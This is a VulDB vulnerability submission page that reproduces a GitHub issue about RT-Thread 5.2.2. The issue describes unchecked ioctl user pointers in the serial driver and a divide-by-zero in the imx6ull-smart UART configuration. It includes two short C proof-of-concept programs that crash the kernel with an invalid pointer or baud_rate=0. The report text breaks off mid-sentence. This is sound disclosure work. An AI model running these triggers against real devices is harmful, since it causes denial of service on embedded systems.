Enviar #845610: RT-Thread v5.2.2 Improper Handling of Parametersinformación

TítuloRT-Thread v5.2.2 Improper Handling of Parameters
DescripciónI have already reported this vulnerability in the project's GitHub issue tracker for review by the maintainers. The report is provided below. # RT-Smart serial ioctl trusts user pointers and can crash the kernel ## Describe the bug RT-Smart validates and copies user buffers for `read()` and `write()`, but `sys_ioctl()` forwards its third argument directly into the kernel-side ioctl implementation. For serial devices, the file descriptor selects a legitimate kernel-owned device, but the ioctl payload pointer remains user-controlled and is later treated as a trusted kernel pointer to driver-specific data structures. The concrete affected path is: ```text user process -> ioctl(fd, RT_DEVICE_CTRL_CONFIG, user_ptr) -> sys_ioctl(fd, cmd, data) -> ioctl(fd, cmd, data) -> fcntl(fd, cmd, data) -> dfs_file_ioctl(...) -> serial_fops_ioctl(...) -> rt_device_control(device, cmd, args) -> rt_serial_control(..., RT_DEVICE_CTRL_CONFIG, args) -> unchecked dereference of args as struct serial_configure * -> optional board configure callback with attacker-controlled fields ``` This gives a user process two direct crash paths when it has access to a serial device node: 1. Passing an invalid ioctl payload pointer can crash the kernel before any board callback is reached, because `rt_serial_control()` dereferences the unchecked pointer as `struct serial_configure *`. 2. Passing a readable user `struct serial_configure` can make the kernel consume attacker-controlled fields. On imx6ull-smart, setting `baud_rate = 0` while preserving the current buffer size can reach board UART code that divides by `cfg->baud_rate`. The second case is concrete for RT-Smart imx6ull serial. The default imx6ull-smart configuration enables RT-Smart, MMU, serial, and POSIX devio, and registers `BSP_USING_UART1` as `uart0`. ## Affected code `read()` and `write()` explicitly validate and copy user buffers under `ARCH_MM_MMU`: ```text components/lwp/lwp_syscall.c:423 components/lwp/lwp_syscall.c:434 components/lwp/lwp_syscall.c:439 components/lwp/lwp_syscall.c:445 components/lwp/lwp_syscall.c:448 components/lwp/lwp_syscall.c:494 components/lwp/lwp_syscall.c:502 components/lwp/lwp_syscall.c:507 components/lwp/lwp_syscall.c:513 components/lwp/lwp_syscall.c:516 ``` `sys_ioctl()` does not perform the same user-access check or copy: ```c sysret_t sys_ioctl(int fd, unsigned long cmd, void* data) { int ret = ioctl(fd, cmd, data); return (ret < 0 ? GET_ERRNO() : ret); } ``` Location: ```text components/lwp/lwp_syscall.c:796 components/lwp/lwp_syscall.c:798 ``` For RT-Thread serial devices with POSIX devio enabled, the serial fops layer resolves the target device from the file object and forwards the unchecked argument into `rt_device_control()`: ```c static int serial_fops_ioctl(struct dfs_file *fd, int cmd, void *args) { rt_device_t device; int flags = (int)(rt_base_t)args; int mask = O_NONBLOCK | O_APPEND; device = (rt_device_t)fd->vnode->data; switch ((rt_ubase_t)cmd) { case FIONREAD: break; case FIONWRITE: break; case F_SETFL: flags &= mask; fd->flags &= ~mask; fd->flags |= flags; break; } return rt_device_control(device, cmd, args); } ``` Location: ```text components/drivers/serial/dev_serial.c:121 components/drivers/serial/dev_serial.c:141 ``` The serial control path then treats `args` as a trusted kernel pointer. The first dereference of `pconfig->bufsz` is already enough to crash the kernel if `args` is an invalid user pointer. If the pointer is readable, `serial->config = *pconfig` copies attacker-controlled fields into the serial state: ```c case RT_DEVICE_CTRL_CONFIG: if (args) { struct serial_configure *pconfig = (struct serial_configure *) args; if (pconfig->bufsz != serial->config.bufsz && serial->parent.ref_count) { return -RT_EBUSY; } serial->config = *pconfig; if (serial->parent.ref_count) { serial->ops->configure(serial, (struct serial_configure *) args); } } break; ``` Locations: ```text components/drivers/serial/dev_serial.c:1084 components/drivers/serial/dev_serial.c:1087 components/drivers/serial/dev_serial.c:1088 components/drivers/serial/dev_serial.c:1094 components/drivers/serial/dev_serial.c:1098 ``` Opening the device sets `ref_count`, so the configure callback is reachable after `open()`: ```text components/drivers/serial/dev_serial.c:73 components/drivers/serial/dev_serial.c:103 components/drivers/core/device.c:271 components/drivers/core/device.c:275 ``` Separately, if the unchecked pointer is readable and the configure callback is reached, imx6ull-smart has a board-specific divide-by-zero path. The board UART configure function uses the user-controlled `baud_rate` field as a divisor. The assertion only checks the upper bound, so `baud_rate = 0` passes this assertion and reaches the division: ```c RT_ASSERT(cfg->baud_rate <= BAUD_RATE_921600); periph->UBIR = UART_UBIR_INC(15); periph->UBMR = UART_UBMR_MOD(HW_UART_BUS_CLOCK / cfg->baud_rate - 1); ``` Location: ```text bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:191 bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:194 ``` The imx6ull-smart BSP enables RT-Smart and serial device access: ```text bsp/nxp/imx/imx6ull-smart/rtconfig.h:65 RT_USING_SMART bsp/nxp/imx/imx6ull-smart/rtconfig.h:123 ARCH_MM_MMU bsp/nxp/imx/imx6ull-smart/rtconfig.h:202 RT_USING_SERIAL bsp/nxp/imx/imx6ull-smart/rtconfig.h:277 RT_USING_POSIX_DEVIO bsp/nxp/imx/imx6ull-smart/rtconfig.h:642 BSP_USING_UART1 ``` The same BSP registers UART1 as the serial device named `uart0`: ```text bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:52 bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:60 bsp/nxp/imx/imx6ull-smart/drivers/drv_uart.c:338 ``` ## Steps to reproduce by source reasoning I have not reproduced this on physical imx6ull-smart hardware. The source-level trigger requires: ```text RT_USING_SMART = enabled ARCH_MM_MMU = enabled RT_USING_SERIAL = enabled RT_USING_POSIX_DEVIO = enabled a serial device node such as /dev/uart0 is accessible ``` For an invalid user pointer dereference: ```c #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <rtdevice.h> int main(void) { int fd = open("/dev/uart0", O_RDWR); if (fd < 0) { return 1; } /* * sys_ioctl() forwards this pointer without lwp_user_accessable() * or lwp_get_from_user(). rt_serial_control() then dereferences it * as struct serial_configure *. */ ioctl(fd, RT_DEVICE_CTRL_CONFIG, (void *)0x1); close(fd); return 0; } ``` For the imx6ull-smart divide-by-zero path, the ioctl payload must be a readable `struct serial_configure`. It must also preserve the current serial buffer size so that `rt_serial_control()` does not return `-RT_EBUSY` before calling the board configure callback. With the default serial configuration this buffer size is `RT_SERIAL_RB_BUFSZ`. ```c #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <rtdevice.h> int main(void) { struct serial_configure cfg = RT_SERIAL_CONFIG_DEFAULT; int fd = open("/dev/uart0", O_RDWR); if (fd < 0) { return 1; } /* * Keep cfg.bufsz equal to the current default buffer size, but set * baud_rate to zero. The imx6ull-smart UART configure callback uses * cfg.baud_rate as a divisor. */ cfg.baud_rate = 0; ioctl(fd, RT_DEVICE_CTRL_CONFIG, &cfg); close(fd); return 0; } ``` Expected source-level path for the divide-by-zero case: ```text open("/dev/uart0", O_RDWR) -> serial_fops_open() -> rt_device_open() -> device ref_count becomes nonzero ioctl(fd, RT_DEVICE_CTRL_CONFIG, &cfg) -> sys_ioctl() -> ioctl() -> fcntl() -> dfs_file_ioctl() -> serial_fops_ioctl() -> rt_serial_control() -> unchecked reads from user-provided struct serial_configure -> pconfig->bufsz is accepted because it matches serial->config.bufsz -> serial->ops->configure(serial, &cfg) -> imx6ull-smart _uart_ops_configure() -> HW_UART_BUS_CLOCK / cfg->baud_rate -> divide by zero when cfg.baud_rate == 0 ``` ## Security impact A user process that can open a serial device can pass arbitrary ioctl payload pointers into kernel driver code. At minimum, this can crash the kernel by causing an unchecked user-pointer dereference in `rt_serial_control()`. If the pointer is readable, the kernel consumes attacker-controlled serial configuration fields. On imx6ull-smart, a user-supplied serial configuration with `baud_rate = 0` can additionally reach a divide-by-zero in the UART configure path. This is a user-kernel boundary issue. The device pointer itself is kernel-owned and selected through the file descriptor; the attacker does not directly supply a raw `rt_device_t`. The unchecked part is the ioctl payload pointer and the data
Fuente⚠️ https://github.com/RT-Thread/rt-thread/issues/11429
Usuario
 Zephyr Saxon (UID 80853)
Sumisión2026-06-02 04:00 (hace 1 mes)
Moderación2026-07-03 19:10 (1 month later)
EstadoAceptado
Entrada de VulDB376145 [RT-Thread hasta 5.2.2 Parameter lwp_syscall.c read/write/sys_ioctl denegación de servicio]
Puntos20

Want to know what is going to be exploited?

We predict KEV entries!